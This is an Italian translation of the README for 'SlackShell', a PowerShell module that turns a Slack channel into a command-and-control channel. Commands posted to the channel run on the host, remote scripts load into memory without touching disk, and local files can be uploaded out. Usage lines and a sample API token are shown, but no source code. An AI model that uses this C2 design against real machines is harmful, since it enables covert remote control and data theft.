
C2 da PowerShell a Slack
Questo modulo PowerShell include varie funzioni che utilizzano l'API Slack per creare un canale di comando e controllo. La funzione principale, Start-Shell, si connette a un canale Slack specificato dall'utente e autentica utilizzando un token di autenticazione API fornito per un determinato team e utente Slack. Qualsiasi comando digitato nel canale verrà quindi eseguito, in PowerShell, sull'host.
Il progetto SlackShell richiede PowerShell v3 o superiore a causa dell'uso di Invoke-RestMethod per le chiamate API. Lo sviluppo futuro continuerà a utilizzare i cmdlet e le funzioni PowerShell correnti. Tuttavia, è stata creata una versione per PowerShell v2 in SlackShell-Poshv2.psm1.
Ulteriori script PS possono essere importati nella sessione in esecuzione caricandoli prima sul canale Slack. La funzione di importazione scaricherà i file, ospitati per impostazione predefinita su https://slack-files.com, e li importerà in memoria. I file non vengono scritti su disco. Al contrario, la funzione di download può essere utilizzata per salvare una copia locale di qualsiasi file su disco.
I file locali possono essere caricati sul canale Slack tramite l'API utilizzando la funzione di upload.
Se necessario, è possibile avviare un processo PS separato per eseguire un comando che utilizza il cmdlet Invoke-Command integrato.
Avvia il monitoraggio di un canale Slack per i comandi da eseguire in PowerShell. Si connette al canale Slack ogni $sleep secondi e recupera tutti i nuovi comandi. I comandi verranno eseguiti sull'host in PowerShell.
Invia un messaggio al canale Slack specifico tramite l'API. I messaggi vengono inviati con un'intestazione di testo e il corpo del messaggio come allegato Slack.
Avvia un nuovo processo ed esegue un comando in PowerShell sull'host. Utilizza il metodo Start-Job in PowerShell per generare un nuovo processo, attendere il completamento del job e restituire l'output.
Esegue un comando in PowerShell sull'host nel contesto corrente del processo in esecuzione e restituisce l'output.
Restituisce tutti i messaggi in un canale Slack specifico dal periodo più vecchio al presente. I messaggi vengono restituiti in formato JSON secondo le specifiche API.
Utilizza una chiamata API Slack per verificare se il token API fornito è valido.
Utilizza una chiamata API Slack per restituire un elenco dei file attualmente ospitati nel canale Slack.
Aggiorna l'elenco dei file, quindi scarica il file specificato in memoria, crea un nuovo modulo e lo importa. I comandi specifici di quel modulo possono quindi essere inseriti direttamente nel canale Slack. Il file scaricato non viene scritto su disco. Questa funzione è da considerarsi in Beta mentre sono in corso test aggiuntivi. Alcuni moduli si comportano in modo irregolare
Aggiorna l'elenco dei file e poi scarica il file specificato su disco. È possibile includere un percorso di archiviazione aggiuntivo; per impostazione predefinita viene utilizzata la posizione corrente.
Carica un file locale sul canale Slack.
Il token API utilizzato per l'autenticazione. Questo token rappresenta un utente specifico su un team Slack specifico. Ulteriori informazioni sono disponibili qui: https://api.slack.com/custom-integrations/legacy-tokens
L'identificatore del canale che specifica quale canale Slack del team verrà utilizzato. Tutto il testo in questo canale verrà quindi elaborato come comandi sull'host quando Start-Shell viene eseguito. L'ID del canale si trova nell'URL quando si accede alla pagina del canale dal sito Slack basato sul Web.
Esempio: https://slackteam1.slack.com/messages/ABC123456. L'ID del canale è "ABC123456".
Import-Module ./SlackShell.psm1
Start-Shell -Token "xoxp-175828824580-175707545555-176600001223-826315a84e533c482bb7e20e8312fh45k" -Channel "ABC123456" -Sleep 5
Unisciti allo stesso canale Slack con un utente diverso da quello utilizzato per creare il token. Qualsiasi cosa scritta nel canale come utente diverso verrà eseguita sull'host nello stesso contesto utente locale utilizzato per avviare lo script. In alternativa, "runjob" può essere utilizzato per eseguire comandi in un processo PowerShell appena avviato.
Chiude la shell e la connessione.
Cambia la directory nel contesto del processo principale. È possibile utilizzare percorsi relativi (ad es. cd ..)
Modifica il tempo di sleep.
Elenca i file disponibili nel canale Slack associato.
Importa il file specificato. Il file deve essere condiviso con il canale Slack in uso.
Scarica il file specificato su disco e lo salva nella posizione facoltativa del parametro path. Il file deve essere condiviso con il canale Slack in uso.
Carica il file locale su Slack e lo condivide con il canale in uso.
Esegue il comando specificato in un nuovo processo PowerShell.
L'ispirazione per lavorare con l'API Slack in PowerShell è attribuita a Warren Frame. Il suo repository è stato un'ottima risorsa per iniziare: https://github.com/RamblingCookieMonster/PSSlack
Un ringraziamento speciale a @thesubtlety per la conversione a POSHv2 e per i miglioramenti aggiunti.